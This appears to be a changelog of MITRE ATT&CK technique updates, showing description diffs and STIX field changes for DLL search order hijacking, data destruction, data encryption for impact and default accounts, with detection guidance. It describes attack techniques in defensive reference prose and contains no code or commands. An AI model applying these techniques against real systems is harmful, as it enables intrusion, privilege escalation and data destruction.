| > | ynamic-link library files (DLLs) in a directory that will be | > | L loads. Adversaries may plant trojan dynamic-link library f | ||
| > | searched before the location of a legitimate library that w | > | iles (DLLs) in a directory that will be searched before the | ||
| > | ill be requested by a program, causing Windows to load their | > | location of a legitimate library that will be requested by a | ||
| > | malicious library when it is called for by the victim progr | > | program, causing Windows to load their malicious library wh | ||
| > | am. Adversaries may also perform DLL preloading, also called | > | en it is called for by the victim program. Adversaries may a | ||
| > | binary planting attacks, (Citation: OWASP Binary Planting) | > | lso perform DLL preloading, also called binary planting atta | ||
| > | by placing a malicious DLL with the same name as an ambiguou | > | cks, (Citation: OWASP Binary Planting) by placing a maliciou | ||
| > | sly specified DLL in a location that Windows searches before | > | s DLL with the same name as an ambiguously specified DLL in | ||
| > | the legitimate DLL. Often this location is the current work | > | a location that Windows searches before the legitimate DLL. | ||
| > | ing directory of the program. Remote DLL preloading attacks | > | Often this location is the current working directory of the | ||
| > | occur when a program sets its current directory to a remote | > | program.(Citation: FireEye fxsst June 2011) Remote DLL prelo | ||
| > | location such as a Web share before loading a DLL. (Citation | > | ading attacks occur when a program sets its current director | ||
| > | : Microsoft Security Advisory 2269637) Adversaries may also | > | y to a remote location such as a Web share before loading a | ||
| > | directly modify the way a program loads DLLs by replacing a | > | DLL. (Citation: Microsoft Security Advisory 2269637) Advers | ||
| > | n existing DLL or modifying a .manifest or .local redirectio | > | aries may also directly modify the search order via DLL redi | ||
| > | n file, directory, or junction to cause the program to load | > | rection, which after being enabled (in the Registry and crea | ||
| > | a different DLL. (Citation: Microsoft Dynamic-Link Library R | > | tion of a redirection file) may cause a program to load a di | ||
| > | edirection) (Citation: Microsoft Manifests) (Citation: FireE | > | fferent DLL.(Citation: Microsoft Dynamic-Link Library Redire | ||
| > | ye DLL Search Order Hijacking) If a search order-vulnerable | > | ction)(Citation: Microsoft Manifests)(Citation: FireEye DLL | ||
| > | program is configured to run at a higher privilege level, t | > | Search Order Hijacking) If a search order-vulnerable progra | ||
| > | hen the adversary-controlled DLL that is loaded will also be | > | m is configured to run at a higher privilege level, then the | ||
| > | executed at the higher level. In this case, the technique c | > | adversary-controlled DLL that is loaded will also be execut | ||
| > | ould be used for privilege escalation from user to administr | > | ed at the higher level. In this case, the technique could be | ||
| > | ator or SYSTEM or from administrator to SYSTEM, depending on | > | used for privilege escalation from user to administrator or | ||
| > | the program. Programs that fall victim to path hijacking ma | > | SYSTEM or from administrator to SYSTEM, depending on the pr | ||
| > | y appear to behave normally because malicious DLLs may be co | > | ogram. Programs that fall victim to path hijacking may appea | ||
| > | nfigured to also load the legitimate DLLs they were meant to | > | r to behave normally because malicious DLLs may be configure | ||
| > | replace. | > | d to also load the legitimate DLLs they were meant to replac | ||
| > | e. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-26 16:13:58.862000+00:00 | 2021-04-26 18:37:03.748000+00:00 |
| description | Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution. There are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637) Adversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL. (Citation: Microsoft Dynamic-Link Library Redirection) (Citation: Microsoft Manifests) (Citation: FireEye DLL Search Order Hijacking) If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace. | Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution. There are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637) Adversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking) If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace. |
| external_references[3]['source_name'] | OWASP Binary Planting | FireEye Hijacking July 2010 |
| external_references[3]['description'] | OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016. | Harbour, N. (2010, July 15). Malware Persistence without the Windows Registry. Retrieved November 17, 2020. |
| external_references[3]['url'] | https://www.owasp.org/index.php/Binary_planting | https://www.fireeye.com/blog/threat-research/2010/07/malware-persistence-windows-registry.html |
| external_references[4]['source_name'] | Microsoft Security Advisory 2269637 | OWASP Binary Planting |
| external_references[4]['description'] | Microsoft. (, May 23). Microsoft Security Advisory 2269637. Retrieved March 13, 2020. | OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016. |
| external_references[4]['url'] | https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637 | https://www.owasp.org/index.php/Binary_planting |
| external_references[5]['source_name'] | Microsoft Dynamic-Link Library Redirection | FireEye fxsst June 2011 |
| external_references[5]['description'] | Microsoft. (2018, May 31). Dynamic-Link Library Redirection. Retrieved March 13, 2020. | Harbour, N. (2011, June 3). What the fxsst?. Retrieved November 17, 2020. |
| external_references[5]['url'] | https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN | https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html |
| external_references[6]['source_name'] | Microsoft Manifests | Microsoft Security Advisory 2269637 |
| external_references[6]['description'] | Microsoft. (n.d.). Manifests. Retrieved December 5, 2014. | Microsoft. (, May 23). Microsoft Security Advisory 2269637. Retrieved March 13, 2020. |
| external_references[6]['url'] | https://msdn.microsoft.com/en-US/library/aa375365 | https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637 |
| external_references[7]['source_name'] | FireEye DLL Search Order Hijacking | Microsoft Dynamic-Link Library Redirection |
| external_references[7]['description'] | Nick Harbour. (2010, September 1). DLL Search Order Hijacking Revisited. Retrieved March 13, 2020. | Microsoft. (2018, May 31). Dynamic-Link Library Redirection. Retrieved March 13, 2020. |
| external_references[7]['url'] | https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html | https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN |
| x_mitre_data_sources[0] | Process command-line parameters | File: File Creation |
| x_mitre_data_sources[1] | Process monitoring | File: File Modification |
| x_mitre_data_sources[2] | DLL monitoring | Module: Module Load |
| x_mitre_detection | Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious. | Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of `.manifest` and `.local` redirection files that do not correlate with software updates are suspicious. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft Manifests', 'description': 'Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.', 'url': 'https://msdn.microsoft.com/en-US/library/aa375365'} | |
| external_references | {'source_name': 'FireEye DLL Search Order Hijacking', 'description': 'Nick Harbour. (2010, September 1). DLL Search Order Hijacking Revisited. Retrieved March 13, 2020.', 'url': 'https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File monitoring |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may destroy data and files on specific systems o | t | 1 | Adversaries may destroy data and files on specific systems o |
| > | r in large numbers on a network to interrupt availability to | > | r in large numbers on a network to interrupt availability to | ||
| > | systems, services, and network resources. Data destruction | > | systems, services, and network resources. Data destruction | ||
| > | is likely to render stored data irrecoverable by forensic te | > | is likely to render stored data irrecoverable by forensic te | ||
| > | chniques through overwriting files or data on local and remo | > | chniques through overwriting files or data on local and remo | ||
| > | te drives.(Citation: Symantec Shamoon 2012)(Citation: FireEy | > | te drives.(Citation: Symantec Shamoon 2012)(Citation: FireEy | ||
| > | e Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Ci | > | e Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Ci | ||
| > | tation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon | > | tation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon | ||
| > | 3 2018)(Citation: Talos Olympic Destroyer 2018) Common opera | > | 3 2018)(Citation: Talos Olympic Destroyer 2018) Common opera | ||
| > | ting system file deletion commands such as <code>del</code> | > | ting system file deletion commands such as <code>del</code> | ||
| > | and <code>rm</code> often only remove pointers to files with | > | and <code>rm</code> often only remove pointers to files with | ||
| > | out wiping the contents of the files themselves, making the | > | out wiping the contents of the files themselves, making the | ||
| > | files recoverable by proper forensic methodology. This behav | > | files recoverable by proper forensic methodology. This behav | ||
| > | ior is distinct from [Disk Content Wipe](https://attack.mitr | > | ior is distinct from [Disk Content Wipe](https://attack.mitr | ||
| > | e.org/techniques/T1561/001) and [Disk Structure Wipe](https: | > | e.org/techniques/T1561/001) and [Disk Structure Wipe](https: | ||
| > | //attack.mitre.org/techniques/T1561/002) because individual | > | //attack.mitre.org/techniques/T1561/002) because individual | ||
| > | files are destroyed rather than sections of a storage disk o | > | files are destroyed rather than sections of a storage disk o | ||
| > | r the disk's logical structure. Adversaries may attempt to | > | r the disk's logical structure. Adversaries may attempt to | ||
| > | overwrite files and directories with randomly generated data | > | overwrite files and directories with randomly generated data | ||
| > | to make it irrecoverable.(Citation: Kaspersky StoneDrill 20 | > | to make it irrecoverable.(Citation: Kaspersky StoneDrill 20 | ||
| > | 17)(Citation: Unit 42 Shamoon3 2018) In some cases political | > | 17)(Citation: Unit 42 Shamoon3 2018) In some cases political | ||
| > | ly oriented image files have been used to overwrite data.(Ci | > | ly oriented image files have been used to overwrite data.(Ci | ||
| > | tation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoo | > | tation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoo | ||
| > | n Nov 2016)(Citation: Kaspersky StoneDrill 2017) To maximiz | > | n Nov 2016)(Citation: Kaspersky StoneDrill 2017) To maximiz | ||
| > | e impact on the target organization in operations where netw | > | e impact on the target organization in operations where netw | ||
| > | ork-wide availability interruption is the goal, malware desi | > | ork-wide availability interruption is the goal, malware desi | ||
| > | gned for destroying data may have worm-like features to prop | > | gned for destroying data may have worm-like features to prop | ||
| > | agate across a network by leveraging additional techniques l | > | agate across a network by leveraging additional techniques l | ||
| > | ike [Valid Accounts](https://attack.mitre.org/techniques/T10 | > | ike [Valid Accounts](https://attack.mitre.org/techniques/T10 | ||
| > | 78), [OS Credential Dumping](https://attack.mitre.org/techni | > | 78), [OS Credential Dumping](https://attack.mitre.org/techni | ||
| > | ques/T1003), and [SMB/Windows Admin Shares](https://attack.m | > | ques/T1003), and [SMB/Windows Admin Shares](https://attack.m | ||
| > | itre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2 | > | itre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2 | ||
| > | 012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto | > | 012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto | ||
| > | Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Cita | > | Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Cita | ||
| > | tion: Talos Olympic Destroyer 2018) | > | tion: Talos Olympic Destroyer 2018). In cloud environments, | ||
| > | adversaries may leverage access to delete cloud storage, cl | ||||
| > | oud storage accounts, machine images, and other infrastructu | ||||
| > | re crucial to operations to damage an organization or their | ||||
| > | customers.(Citation: Data Destruction - Threat Post)(Citatio | ||||
| > | n: DOJ - Cisco Insider) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Brent Murphy, Elastic', 'David French, Elastic', 'Syed Ummar Farooqh, McAfee', 'Prasad Somasamudram, McAfee', 'Sekhar Sarukkai, McAfee ', 'Varonis Threat Labs'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-27 21:08:19.783000+00:00 | 2021-03-25 14:47:48.728000+00:00 |
| description | Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.
Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)
To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018) | Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.
Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)
To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).
In cloud environments, adversaries may leverage access to delete cloud storage, cloud storage accounts, machine images, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider) |
| x_mitre_data_sources[0] | File monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[2] | Process monitoring | File: File Modification |
| x_mitre_detection | Use process monitoring to monitor the execution and command-line parameters of binaries that could be involved in data destruction activity, such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the creation of suspicious files as well as high unusual file modification activity. In particular, look for large quantities of file modifications in user directories and under C:\Windows\System32\. | Use process monitoring to monitor the execution and command-line parameters of binaries that could be involved in data destruction activity, such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the creation of suspicious files as well as high unusual file modification activity. In particular, look for large quantities of file modifications in user directories and under C:\Windows\System32\.
In cloud environments, the occurrence of anomalous high-volume deletion events, such as the DeleteDBCluster and DeleteGlobalCluster events in AWS, or a high quantity of data deletion events, such as DeleteBucket, within a short period of time may indicate suspicious activity. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Data Destruction - Threat Post', 'description': 'Mimoso, M.. (2014, June 18). Hacker Puts Hosting Service Code Spaces Out of Business. Retrieved December 15, 2020.', 'url': 'https://threatpost.com/hacker-puts-hosting-service-code-spaces-out-of-business/106761/'} | |
| external_references | {'source_name': 'DOJ - Cisco Insider', 'description': 'DOJ. (2020, August 26). San Jose Man Pleads Guilty To Damaging Cisco’s Network. Retrieved December 15, 2020.', 'url': 'https://www.justice.gov/usao-ndca/pr/san-jose-man-pleads-guilty-damaging-cisco-s-network'} | |
| x_mitre_data_sources | File: File Deletion | |
| x_mitre_data_sources | Image: Image Deletion | |
| x_mitre_data_sources | Instance: Instance Deletion | |
| x_mitre_data_sources | Snapshot: Snapshot Deletion | |
| x_mitre_data_sources | Cloud Storage: Cloud Storage Deletion | |
| x_mitre_data_sources | Volume: Volume Deletion | |
| x_mitre_platforms | Windows | |
| x_mitre_platforms | IaaS |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may encrypt data on target systems or on large n | t | 1 | Adversaries may encrypt data on target systems or on large n |
| > | umbers of systems in a network to interrupt availability to | > | umbers of systems in a network to interrupt availability to | ||
| > | system and network resources. They can attempt to render sto | > | system and network resources. They can attempt to render sto | ||
| > | red data inaccessible by encrypting files or data on local a | > | red data inaccessible by encrypting files or data on local a | ||
| > | nd remote drives and withholding access to a decryption key. | > | nd remote drives and withholding access to a decryption key. | ||
| > | This may be done in order to extract monetary compensation | > | This may be done in order to extract monetary compensation | ||
| > | from a victim in exchange for decryption or a decryption key | > | from a victim in exchange for decryption or a decryption key | ||
| > | (ransomware) or to render data permanently inaccessible in | > | (ransomware) or to render data permanently inaccessible in | ||
| > | cases where the key is not saved or transmitted.(Citation: U | > | cases where the key is not saved or transmitted.(Citation: U | ||
| > | S-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Cit | > | S-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Cit | ||
| > | ation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) | > | ation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) | ||
| > | In the case of ransomware, it is typical that common user f | > | In the case of ransomware, it is typical that common user f | ||
| > | iles like Office documents, PDFs, images, videos, audio, tex | > | iles like Office documents, PDFs, images, videos, audio, tex | ||
| > | t, and source code files will be encrypted. In some cases, a | > | t, and source code files will be encrypted. In some cases, a | ||
| > | dversaries may encrypt critical system files, disk partition | > | dversaries may encrypt critical system files, disk partition | ||
| > | s, and the MBR.(Citation: US-CERT NotPetya 2017) To maximiz | > | s, and the MBR.(Citation: US-CERT NotPetya 2017) To maximiz | ||
| > | e impact on the target organization, malware designed for en | > | e impact on the target organization, malware designed for en | ||
| > | crypting data may have worm-like features to propagate acros | > | crypting data may have worm-like features to propagate acros | ||
| > | s a network by leveraging other attack techniques like [Vali | > | s a network by leveraging other attack techniques like [Vali | ||
| > | d Accounts](https://attack.mitre.org/techniques/T1078), [OS | > | d Accounts](https://attack.mitre.org/techniques/T1078), [OS | ||
| > | Credential Dumping](https://attack.mitre.org/techniques/T100 | > | Credential Dumping](https://attack.mitre.org/techniques/T100 | ||
| > | 3), and [SMB/Windows Admin Shares](https://attack.mitre.org/ | > | 3), and [SMB/Windows Admin Shares](https://attack.mitre.org/ | ||
| > | techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Cita | > | techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Cita | ||
| > | tion: US-CERT NotPetya 2017) | > | tion: US-CERT NotPetya 2017) In cloud environments, storage | ||
| > | objects within compromised accounts may also be encrypted.( | ||||
| > | Citation: Rhino S3 Ransomware Part 1) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Oleg Kolesnikov, Securonix'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-14 14:52:11.708000+00:00 | 2021-04-20 16:39:06.594000+00:00 |
| description | Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017) To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017) | Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017) To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017) In cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1) |
| x_mitre_data_sources[0] | Kernel drivers | Cloud Storage: Cloud Storage Metadata |
| x_mitre_data_sources[1] | File monitoring | Cloud Storage: Cloud Storage Modification |
| x_mitre_data_sources[2] | Process command-line parameters | Process: Process Creation |
| x_mitre_data_sources[3] | Process monitoring | Command: Command Execution |
| x_mitre_detection | Use process monitoring to monitor the execution and command line parameters of binaries involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit. Monitor for the creation of suspicious files as well as unusual file modification activity. In particular, look for large quantities of file modifications in user directories. In some cases, monitoring for unusual kernel driver installation activity can aid in detection. | Use process monitoring to monitor the execution and command line parameters of binaries involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit. Monitor for the creation of suspicious files as well as unusual file modification activity. In particular, look for large quantities of file modifications in user directories. In some cases, monitoring for unusual kernel driver installation activity can aid in detection. In cloud environments, monitor for events that indicate storage objects have been anomalously replaced by copies. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Rhino S3 Ransomware Part 1', 'description': 'Gietzen, S. (n.d.). S3 Ransomware Part 1: Attack Vector. Retrieved April 14, 2021.', 'url': 'https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/'} | |
| x_mitre_data_sources | File: File Modification | |
| x_mitre_data_sources | File: File Creation | |
| x_mitre_platforms | IaaS |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-14 19:48:08.180000+00:00 | 2021-03-08 10:33:00.855000+00:00 |
| x_mitre_data_sources[0] | File monitoring | File: File Access |
| x_mitre_data_sources[1] | Process monitoring | File: File Creation |
| x_mitre_data_sources[2] | Process command-line parameters | Command: Command Execution |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | IaaS |
| x_mitre_platforms[2] | Windows | Linux |
| x_mitre_platforms[3] | AWS | macOS |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-09 14:02:05.276000+00:00 | 2021-03-08 10:33:01.374000+00:00 |
| x_mitre_data_sources[0] | Stackdriver logs | Cloud Storage: Cloud Storage Access |
| x_mitre_platforms[0] | AWS | IaaS |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Azure activity logs | |
| x_mitre_data_sources | AWS CloudTrail logs | |
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 3.1
Version changed from: 3.0 → 3.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-12 12:16:55.085000+00:00 | 2021-04-14 14:16:12.151000+00:00 |
| x_mitre_data_sources[0] | OAuth audit logs | Logon Session: Logon Session Creation |
| x_mitre_data_sources[1] | Application logs | Application Log: Application Log Content |
| x_mitre_version | 3.0 | 3.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Google Workspace |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Authentication logs | |
| x_mitre_data_sources | Data loss prevention | |
| x_mitre_data_sources | Third-party application logs |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-04-22 15:19:31.682000+00:00 | 2021-03-08 10:33:01.150000+00:00 |
| x_mitre_data_sources[0] | Packet capture | File: File Modification |
| x_mitre_data_sources[1] | Web application firewall logs | File: File Creation |
| x_mitre_data_sources[2] | Web logs | Application Log: Application Log Content |
| x_mitre_data_sources[3] | Packet capture | Network Traffic: Network Traffic Content |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | IaaS |
| x_mitre_platforms[2] | Windows | Linux |
| x_mitre_platforms[3] | AWS | macOS |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may obtain and abuse credentials of a default ac | t | 1 | Adversaries may obtain and abuse credentials of a default ac |
| > | count as a means of gaining Initial Access, Persistence, Pri | > | count as a means of gaining Initial Access, Persistence, Pri | ||
| > | vilege Escalation, or Defense Evasion. Default accounts are | > | vilege Escalation, or Defense Evasion. Default accounts are | ||
| > | those that are built-into an OS, such as the Guest or Admini | > | those that are built-into an OS, such as the Guest or Admini | ||
| > | strator accounts on Windows systems or default factory/provi | > | strator accounts on Windows systems. Default accounts also i | ||
| > | der set accounts on other types of systems, software, or dev | > | nclude default factory/provider set accounts on other types | ||
| > | ices.(Citation: Microsoft Local Accounts Feb 2019) Default | > | of systems, software, or devices, including the root user ac | ||
| > | accounts are not limited to client machines, rather also inc | > | count in AWS and the default service account in Kubernetes.( | ||
